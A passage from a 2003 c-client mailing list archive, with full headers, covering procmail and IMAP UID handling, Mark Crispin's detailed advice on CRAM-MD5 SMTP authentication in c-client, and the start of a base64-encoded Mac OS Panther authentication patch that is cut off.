problem is that you are running procmail on mailboxes after POP3 or IMAP servers have gotten to it. That seems to be a very bad idea. > This means fireing upp mutt over the mailbox directly and move mail is > harmfull to? If it copies X-UID headers, yet. > So basicly - everyone complaining about seeing the pseudo > message is potentialy doing something bad? Yes. > But I don't need to care about POP, this is imap over ssl exlusivly. How > harmfull is recreated UID:s for IMAP (if I shuld remove them all)? The same warning about bad things apply to IMAP. In fact, it is IMAP's requirements that cause the necessity to recreate UIDs. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Oct 26 19:46:46 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Oct 2003 19:46:46 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R3kjlU008316 for ; Sun, 26 Oct 2003 19:46:45 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R3kiqm010664 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 26 Oct 2003 19:46:44 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9R3kdSa004682; Sun, 26 Oct 2003 19:46:39 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R3jufc044878 for ; Sun, 26 Oct 2003 19:45:56 -0800 Received: from albert.micropp.se (157-3.sandnet.se [62.168.157.3] (may be forged)) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R3jrpW008875 for ; Sun, 26 Oct 2003 19:45:54 -0800 Received: from micropp.se (albert.micropp.se [62.168.157.3]) by albert.micropp.se (Postfix) with ESMTP id 2E2B287B7E; Mon, 27 Oct 2003 04:45:53 +0100 (CET) Message-Id: <3F9C94F0.70804@micropp.se> Date: Mon, 27 Oct 2003 04:45:52 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lars Hallberg To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d In-Reply-To: References: <3F9BE1A2.6080309@micropp.se> <3F9C3F3C.20909@micropp.se> <3F9C7A4B.60703@micropp.se> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, MAY_BE_FORGED, REFERENCES, X_ACCEPT_LANG, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __MOZILLA_MSGID, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: >On Mon, 27 Oct 2003, Lars Hallberg wrote: > > >>Becose I'm sorting mail with procmail / foremail. >> >> > >You should run procmail as part of the mail delivery process, before >messages reach into any mailboxes. > >It sounds like your problem is that you are running procmail on mailboxes >after POP3 or IMAP servers have gotten to it. That seems to be a very bad >idea. > > Yes, it seems to take a lot of extra considerations :-/ But what I want is to sort the mail *after* i read them in the INBOX (over IMAP) so it's a bit hard to avoid. And to keep inbox small, so the task of checking for new mail is fast, also over a slow link. If I realy need to look up an old message for this list, then I go to the c-client mailfolder (who is probable huge). But to read the new mails i only have to read INBOX. >>But I don't need to care about POP, this is imap over ssl exlusivly. How >>harmfull is recreated UID:s for IMAP (if I shuld remove them all)? >> >> > >The same warning about bad things apply to IMAP. In fact, it is IMAP's >requirements that cause the necessity to recreate UIDs. > > Yes, but redownloading over POP3 will curupt the lokal mailfolder (duplikate mails)? Over IMAP it will (only) waste bandwith, resources and the users (my) time? I beliv I will gain more in all thes 3 aspects then I'm loosing. But still, I want to do it as good as possably :-) And I sertenly want to do the right thing for the mbox, becos one reason to keep it smal is that I might need to read it ower gprs, wher I pay for each KB downloaded. So alot of extra download ther is not wanted. Spam and viruses is an exception. That I want to sort on delivery. And I can wait with reading and verifeing the spamfilters work until i have a fast link :-) Thanks again! From pinedev@shivax2.cac.washington.edu Wed Oct 29 02:08:38 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Oct 2003 02:08:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TA8YlU027898 for ; Wed, 29 Oct 2003 02:08:34 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TA8Wqm006949 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 29 Oct 2003 02:08:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9TA8NSa020400; Wed, 29 Oct 2003 02:08:25 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TA6mfc074484 for ; Wed, 29 Oct 2003 02:06:48 -0800 Received: from sthnt04.streamserve.com (proxy.streamserve.com [195.242.62.34]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TA6k5I017815 for ; Wed, 29 Oct 2003 02:06:47 -0800 Received: by sthnt04.streamserve.com with Internet Mail Service (5.5.2653.19) id ; Wed, 29 Oct 2003 11:09:04 +0100 Message-Id: <55C70FD439F6AB43B5417A4DBB548593056A3E@gbg2k04.streamserve.com> Date: Wed, 29 Oct 2003 11:06:35 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Gard, Torbjorn" To: "'c-client@u.washington.edu'" Subject: smtp cram-md5 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C39E04.5632BF50" X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report='HTML_50_70, __CT, __CTYPE_HAS_BOUNDARY, __CTYPE_MULTIPART_ALT, __EVITE_CTYPE, __HAS_MSGID, __IMS_MSGID, __MIME_HTML, __MIME_VERSION, __NEXTPART_ALL, __NEXTPART_NORMAL, __SANE_MSGID, __TAG_EXISTS_BODY, __TAG_EXISTS_HEAD, __TAG_EXISTS_HTML, __TAG_EXISTS_META' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C39E04.5632BF50 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello all! =20 I have a few questions in how to use cram-md5 authentication. The = platform I have started with is Windows XP. I have a basic understanding of = c-client library but there may be something obvious I have missed when using the library. =20 How is the user set? I tried mail_parameters(NIL,SET_USERNAME,"xxxx"); = This did not work. =20 The way I got it to work somewhat is to use this: stream =3D smtp_open_full (NIL,hostlist,"service=3Dsmtp/user=3Dxxxx",SMTPTCPPORT,SOP_DSN|OP_DEBUG|= SOP_DSN_ NOTIFY_FAILURE); =20 But it still wants the user in the mm_login callback! So I fill in the = same user in this function and call auth_md5_pwd() with the user like this: =20 void mm_login (NETMBX *mb,char *user,char *pwd,long trial) { strcpy(user,"xxxx"); strcpy(pwd,auth_md5_pwd(user)); } Then it seems to work ... but I have not been able to get the = authorization to work. (500 5.7.0 authentication failed). I have verified that there = is an exchange of: "334 PDM4NTk2MDE1MDcuMTAzODM1NDFAc3RyZWFtc2VydmUuY29tPg=3D=3D" "dGdhMDEgMTkxMDBiODRiYjFiODBjYTYxNzI0MzliNjE0NjM5OGY=3D" I have tried version 2000a and now 2002e. The behaviour seems = identical. I am using makefile.nt without modification. I removed two leading = backslashes from the content of MD5ENABLE to read "cram-md5.pwd" instead. =20 In order to set the service argument to smtp_open_full with ,"service=3Dsmtp/user=3Dxxxx" I had to modify a sprintf() like this in smtp.c:smtp_open_full: sprintf (tmp,"{%.800s/%.200s}",*hostlist,service ? service : = "smtp"); The previous behaviour was to use only 20 characters in service. =20 I have configured sendmail-8.11.6-25.72 to support cram-md5 (250-AUTH DIGEST-MD5 CRAM-MD5). =20 Any pointers would be very much appreciated! =20 Torbj=F6rn Gard ------_=_NextPart_001_01C39E04.5632BF50 Content-Type: text/html; charset="iso-8859-1" Message
    Hello all!
     
    I have a few questions in how to use cram-md5 authentication. The platform I have started with is Windows XP. I have a basic understanding of c-client library but there may be something obvious I have missed when using the library.
     
    How is the user set? I tried mail_parameters(NIL,SET_USERNAME,"xxxx"); This did not work.
     
    The way I got it to work somewhat is to use this:
     stream = smtp_open_full (NIL,hostlist,"service=smtp/user=xxxx",SMTPTCPPORT,SOP_DSN|OP_DEBUG|SOP_DSN_NOTIFY_FAILURE);
     
    But it still wants the user in the mm_login callback! So I fill in the same user in this function and call auth_md5_pwd() with the user like this:
     
    void mm_login (NETMBX *mb,char *user,char *pwd,long trial)
    {
     strcpy(user,"xxxx");
     strcpy(pwd,auth_md5_pwd(user));
    }
    Then it seems to work ... but I have not been able to get the authorization to work. (500 5.7.0 authentication failed). I have verified that there is an exchange of:
    "334 PDM4NTk2MDE1MDcuMTAzODM1NDFAc3RyZWFtc2VydmUuY29tPg=="
    "dGdhMDEgMTkxMDBiODRiYjFiODBjYTYxNzI0MzliNjE0NjM5OGY="
    I have tried version 2000a and now 2002e. The behaviour seems identical. I am using makefile.nt without modification. I removed two leading backslashes from the content of MD5ENABLE to read "cram-md5.pwd" instead.
     
    In order to set the service argument to  smtp_open_full with ,"service=smtp/user=xxxx" I had to modify a sprintf() like this in smtp.c:smtp_open_full:
        sprintf (tmp,"{%.800s/%.200s}",*hostlist,service ? service : "smtp"); The previous behaviour was to use only 20 characters in service.
     
    I have configured sendmail-8.11.6-25.72 to support cram-md5 (250-AUTH DIGEST-MD5 CRAM-MD5).
     
    Any pointers would be very much appreciated!
     

    Torbjörn Gard

    ------_=_NextPart_001_01C39E04.5632BF50-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 29 06:22:32 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Oct 2003 06:22:32 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TEMWlU003550 for ; Wed, 29 Oct 2003 06:22:32 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TEMUqm013277 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 29 Oct 2003 06:22:30 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9TEMJSa023482; Wed, 29 Oct 2003 06:22:19 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TEKpfc011114 for ; Wed, 29 Oct 2003 06:20:51 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TEKoTO031611 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 29 Oct 2003 06:20:51 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TEKgaZ024822; Wed, 29 Oct 2003 06:20:42 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TEKgu3002791; Wed, 29 Oct 2003 06:20:42 -0800 Message-Id: Date: Wed, 29 Oct 2003 06:20:42 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Gard, Torbjorn" Cc: "'c-client@u.washington.edu'" Subject: Re: smtp cram-md5 In-Reply-To: <55C70FD439F6AB43B5417A4DBB548593056A3E@gbg2k04.streamserve.com> References: <55C70FD439F6AB43B5417A4DBB548593056A3E@gbg2k04.streamserve.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 29 Oct 2003, Gard, Torbjorn wrote: > How is the user set? I tried mail_parameters(NIL,SET_USERNAME,"xxxx"); This > did not work. Nor is it likely to. That function sets c-client's idea of the local user name on UNIX systems only, overriding what was previously there. I've long ago forgotten why it was needed, and I suspect that in fact it no longer is needed. > The way I got it to work somewhat is to use this: > stream = smtp_open_full > (NIL,hostlist,"service=smtp/user=xxxx",SMTPTCPPORT,SOP_DSN|OP_DEBUG|SOP_DSN_ > NOTIFY_FAILURE); That "service=smtp/user=xxxx" is wrong. The third argument to smtp_open_full() is a service name, not a series of switches. It turns out that the code currently does not enforce that, nor does it break if you kludge by doing this, but there is no guarantee that it will work in the future. The proper place to put /user=xxxx is in the individual entries of the hostlist. Also, there is no need for most applications to pass a NETDRIVER dispatch, service name, or port number; all of this is only needed if you are using a non-TCP connection to the SMTP server. If you want to use a non-standard port number for a particular server you can/should pass that in the individual entry in the hostlist as ":port". In other words, individual entries on the hostlist would look like: smtp.example.com/user=fred smtp.example.com:4025/user=joe etc. and you should simply use the smtp_open() interface as such: stream = smtp_open (hostlist,SOP_DSN|OP_DEBUG|SOP_DSN_NOTIFY_FAILURE); > But it still wants the user in the mm_login callback! Yes, of course. mm_login() is the means by which the password is obtained. You'll notice that the /user=xxxx username is passed in the first argument, so all mm_login functions should look something like: void mm_login (NETMBX *mb,char *user,char *pwd,long trial) { if (*mb->user) strcpy (user,mb->user); else { ...prompt for user name... } ...prompt for password... } Look at the sample code in mtest and mailutil and you will see this type of construct. It is alright to use strcpy() since the NETMBX username is constrained in size to be smaller than the user buffer that is passed to mm_login(). > So I fill in the same > user in this function and call auth_md5_pwd() with the user like this: > > void mm_login (NETMBX *mb,char *user,char *pwd,long trial) > { > strcpy(user,"xxxx"); > strcpy(pwd,auth_md5_pwd(user)); > } Ugh. Here you are trying to use the cram-md5.pwd file, which is a *server* password database for UNIX systems, as a cache for *client* passwords on Windows. Such usage was never intended to work. What's more, the cram-md5.pwd file only works on servers running on DOS-based Windows (Windows 95, Windows 98, Windows Millenium) because on NT-based Windows (Windows NT, Windows 2000, Windows XP) logon requires the real password which is stored in the NT accounts data. The password has to be provided by your application -- that is why mm_login() is called! -- and if there is any sort of cache of passwords it is something that your application should provide. > Then it seems to work ... but I have not been able to get the authorization > to work. (500 5.7.0 authentication failed). I have verified that there is an > exchange of: > "334 PDM4NTk2MDE1MDcuMTAzODM1NDFAc3RyZWFtc2VydmUuY29tPg==" > "dGdhMDEgMTkxMDBiODRiYjFiODBjYTYxNzI0MzliNjE0NjM5OGY=" There are any number of places in which it could have gone wrong. I suggest that you start by undoing all of your hacks to c-client (revert to an unmodified c-client), then go about calling and using it properly as I indicated above. Maybe the problem will magically go away. If it does not go away... Did you try communicating with that SMTP server using Pine or some other c-client based application which is known to work right? If it works in Pine, then review what I told you to do in the previous paragraph. If it fails in Pine, are you sure that you have the correct password for that SMTP server? Are you certain that the SMTP server is properly set up for CRAM-MD5 authentication? Note that a UNIX based server can't use the /etc/passwd or /etc/shadow passwords for CRAM-MD5 authentication; it must have access to plaintext or plaintext equivalent of the passwords. > I > am using makefile.nt without modification. I removed two leading backslashes > from the content of MD5ENABLE to read "cram-md5.pwd" instead. > In order to set the service argument to smtp_open_full with > ,"service=smtp/user=xxxx" I had to modify a sprintf() like this in > smtp.c:smtp_open_full: > sprintf (tmp,"{%.800s/%.200s}",*hostlist,service ? service : "smtp"); > The previous behaviour was to use only 20 characters in service. The fact that you felt that you had to do these types of changes should have alerted you to the fact that you were going about the problem all wrong. There is a reason why there were two leading backslashes in MD5ENABLE. There is a reason why smtp_open_full() used only 20 characters for the service. A good rule of thumb is that it's better to ask questions first before making changes to a widely-used library. In some cases, if you are configuring an IMAP or POP3 server, it may be necessary to make changes in c-client's env_unix.c module. There is no reason, that I can think of, that client applications would ever need to have to modify c-client. > I have configured sendmail-8.11.6-25.72 to support cram-md5 (250-AUTH > DIGEST-MD5 CRAM-MD5). Please note what I mentioned above about proper configuration of your server and in particular of the password requirements for CRAM-MD5. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Oct 29 06:37:59 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Oct 2003 06:37:59 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TEbxlU004012 for ; Wed, 29 Oct 2003 06:37:59 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TEbvqm013608 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 29 Oct 2003 06:37:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9TEboxs015932; Wed, 29 Oct 2003 06:37:50 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TEb4fc011044 for ; Wed, 29 Oct 2003 06:37:04 -0800 Received: from sthnt04.streamserve.com (proxy.streamserve.com [195.242.62.34]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9TEb1K4006508 for ; Wed, 29 Oct 2003 06:37:02 -0800 Received: by sthnt04.streamserve.com with Internet Mail Service (5.5.2653.19) id ; Wed, 29 Oct 2003 15:39:23 +0100 Message-Id: <55C70FD439F6AB43B5417A4DBB548593056A46@gbg2k04.streamserve.com> Date: Wed, 29 Oct 2003 15:36:59 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Gard, Torbjorn" To: "'Mark Crispin'" Cc: "'c-client@u.washington.edu'" Subject: RE: smtp cram-md5 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, __CT, __CTE, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IMS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello Mark! Thanks a lot for this info! Seems I have a lot to do :-) regards Torbj=F6rn -----Original Message----- From: Mark Crispin [mailto:mrc@CAC.Washington.EDU]=20 Sent: den 29 oktober 2003 15:21 To: Gard, Torbjorn Cc: 'c-client@u.washington.edu' Subject: Re: smtp cram-md5 On Wed, 29 Oct 2003, Gard, Torbjorn wrote: > How is the user set? I tried = mail_parameters(NIL,SET_USERNAME,"xxxx"); This > did not work. Nor is it likely to. That function sets c-client's idea of the local = user name on UNIX systems only, overriding what was previously there. I've long ago forgotten why it was needed, and I suspect that in fact it no longer is needed. > The way I got it to work somewhat is to use this: > stream =3D smtp_open_full > (NIL,hostlist,"service=3Dsmtp/user=3Dxxxx",SMTPTCPPORT,SOP_DSN|OP_DEBUG|= SOP_DSN_ > NOTIFY_FAILURE); That "service=3Dsmtp/user=3Dxxxx" is wrong. The third argument to smtp_open_full() is a service name, not a series of switches. It turns out that the code currently does not enforce that, nor does it break if you kludge by doing this, but there is no guarantee that it will work = in the future. The proper place to put /user=3Dxxxx is in the individual entries of = the hostlist. Also, there is no need for most applications to pass a NETDRIVER = dispatch, service name, or port number; all of this is only needed if you are = using a non-TCP connection to the SMTP server. If you want to use a non-standard port number for a particular server you can/should pass = that in the individual entry in the hostlist as ":port". In other words, individual entries on the hostlist would look like: smtp.example.com/user=3Dfred smtp.example.com:4025/user=3Djoe etc. and you should simply use the smtp_open() interface as such: stream =3D smtp_open = (hostlist,SOP_DSN|OP_DEBUG|SOP_DSN_NOTIFY_FAILURE); > But it still wants the user in the mm_login callback! Yes, of course. mm_login() is the means by which the password is obtained. You'll notice that the /user=3Dxxxx username is passed in = the first argument, so all mm_login functions should look something like: void mm_login (NETMBX *mb,char *user,char *pwd,long trial) { if (*mb->user) strcpy (user,mb->user); else { ...prompt for user name... } ...prompt for password... } Look at the sample code in mtest and mailutil and you will see this = type of construct. It is alright to use strcpy() since the NETMBX username is constrained = in size to be smaller than the user buffer that is passed to mm_login(). > So I fill in the same > user in this function and call auth_md5_pwd() with the user like = this: > > void mm_login (NETMBX *mb,char *user,char *pwd,long trial) > { > strcpy(user,"xxxx"); > strcpy(pwd,auth_md5_pwd(user)); > } Ugh. Here you are trying to use the cram-md5.pwd file, which is a *server* password database for UNIX systems, as a cache for *client* passwords on Windows. Such usage was never intended to work. What's more, the cram-md5.pwd = file only works on servers running on DOS-based Windows (Windows 95, Windows 98, Windows Millenium) because on NT-based Windows (Windows NT, Windows 2000, Windows XP) logon requires the real password which is stored in = the NT accounts data. The password has to be provided by your application -- that is why mm_login() is called! -- and if there is any sort of cache of passwords = it is something that your application should provide. > Then it seems to work ... but I have not been able to get the authorization > to work. (500 5.7.0 authentication failed). I have verified that = there is an > exchange of: > "334 PDM4NTk2MDE1MDcuMTAzODM1NDFAc3RyZWFtc2VydmUuY29tPg=3D=3D" > "dGdhMDEgMTkxMDBiODRiYjFiODBjYTYxNzI0MzliNjE0NjM5OGY=3D" There are any number of places in which it could have gone wrong. I suggest that you start by undoing all of your hacks to c-client (revert = to an unmodified c-client), then go about calling and using it properly as = I indicated above. Maybe the problem will magically go away. If it does not go away... Did you try communicating with that SMTP = server using Pine or some other c-client based application which is known to = work right? If it works in Pine, then review what I told you to do in the previous paragraph. If it fails in Pine, are you sure that you have the correct password = for that SMTP server? Are you certain that the SMTP server is properly set = up for CRAM-MD5 authentication? Note that a UNIX based server can't use = the /etc/passwd or /etc/shadow passwords for CRAM-MD5 authentication; it = must have access to plaintext or plaintext equivalent of the passwords. > I > am using makefile.nt without modification. I removed two leading backslashes > from the content of MD5ENABLE to read "cram-md5.pwd" instead. > In order to set the service argument to smtp_open_full with > ,"service=3Dsmtp/user=3Dxxxx" I had to modify a sprintf() like this = in > smtp.c:smtp_open_full: > sprintf (tmp,"{%.800s/%.200s}",*hostlist,service ? service : = "smtp"); > The previous behaviour was to use only 20 characters in service. The fact that you felt that you had to do these types of changes should have alerted you to the fact that you were going about the problem all wrong. There is a reason why there were two leading backslashes in MD5ENABLE. There is a reason why smtp_open_full() used only 20 = characters for the service. A good rule of thumb is that it's better to ask questions first before making changes to a widely-used library. In some cases, if you are configuring an IMAP or POP3 server, it may be necessary to make changes = in c-client's env_unix.c module. There is no reason, that I can think of, that client applications would ever need to have to modify c-client. > I have configured sendmail-8.11.6-25.72 to support cram-md5 (250-AUTH > DIGEST-MD5 CRAM-MD5). Please note what I mentioned above about proper configuration of your server and in particular of the password requirements for CRAM-MD5. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Oct 29 18:20:08 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Oct 2003 18:20:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9U2K8lU001928 for ; Wed, 29 Oct 2003 18:20:08 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9U2K6qm006536 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 29 Oct 2003 18:20:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9U2JxvE015354; Wed, 29 Oct 2003 18:19:59 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9U2Ixfc054210 for ; Wed, 29 Oct 2003 18:18:59 -0800 Received: from maczipit.com ([66.223.126.28]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9U2IuK5029857 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 29 Oct 2003 18:18:57 -0800 Received: from localhost (tbrown@localhost) by maczipit.com (8.11.6/8.11.0) with ESMTP id h9U2ItO85861 for ; Wed, 29 Oct 2003 21:18:56 -0500 (EST) (envelope-from tb000@maczipit.com) Message-Id: <20031029210827.W85105-200000@maczipit.com> Date: Wed, 29 Oct 2003 21:18:55 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tom Brown To: c-client@u.washington.edu Subject: Patch enabling authentication under Mac OS 10.3 (Panther) (fwd) MIME-Version: 1.0 Content-Type: MULTIPART/Mixed; BOUNDARY="0-528643101-1067478663=:83746" Content-ID: <20031029205210.D83952@maczipit.com> X-Authentication-Warning: maczipit.com: tbrown owned process doing -bs X-X-Sender: tbrown@maczipit.com X-Uwash-Spam: Gauge=XIIIIIIIII, Probability=19%, Report='FROM_ENDS_IN_NUMS, LINES_OF_YELLING, LINES_OF_YELLING_2, LINES_OF_YELLING_3, MAILTO_TO_SPAM_ADDR, X_AUTH_WARNING, __CT, __CTYPE_HAS_BOUNDARY, __HAS_MSGID, __MIME_CHARSET_FARAWAY, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-528643101-1067478663=:83746 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: <20031029205210.O83952@maczipit.com> Hello - Mac OS 10.3 (Panther) introduces, by default, a new password authentication mechanism. The standard Unix functions to get at the crypt-ed password no longer work. Instead, one must go through Apple's Directory Service API. I am attaching a patch (mostly derived from Apple's sample code) that reenables password authentication under Panther. This code *should* work on previous versions of OS X, but I have only tested it on Panther. In order for this patch to work, you must have installed Apple's Developer Tools, which are distributed with the OS on a separate CD. Please email me with questions/comments. Thanks, Tom Brown --0-528643101-1067478663=:83746 Content-Type: TEXT/PLAIN; CHARSET=X-UNKNOWN; NAME=diff Content-Transfer-Encoding: BASE64 Content-ID: <20031029205103.Q83746@maczipit.com> Content-Description: Content-Disposition: ATTACHMENT; FILENAME=diff ZGlmZiAtTnJ1cCBpbWFwLTIwMDJlL3NyYy9vc2RlcC91bml4L01ha2VmaWxl IC91c3IvbG9jYWwvc3JjL2ltYXAtMjAwMmUvc3JjL29zZGVwL3VuaXgvTWFr ZWZpbGUNCi0tLSBpbWFwLTIwMDJlL3NyYy9vc2RlcC91bml4L01ha2VmaWxl CU1vbiBKdWwgMTQgMjE6MjQ6MjQgMjAwMw0KKysrIC91c3IvbG9jYWwvc3Jj L2ltYXAtMjAwMmUvc3JjL29zZGVwL3VuaXgvTWFrZWZpbGUJVHVlIE9jdCAy OCAyMDoyODozOCAyMDAzDQpAQCAtNTI1LDkgKzUyNSwxMCBAQCBvczQ6CSMg T1NGLzEgKERpZ2l0YWwgVU5JWCkgNA0KIA0KIG9zeDoJIyBNYWMgT1MgWA0K IAkkKEJVSUxEKSBgJChDQVQpIFNQRUNJQUxTYCBPUz0kQCBcDQotCSBDUlhU 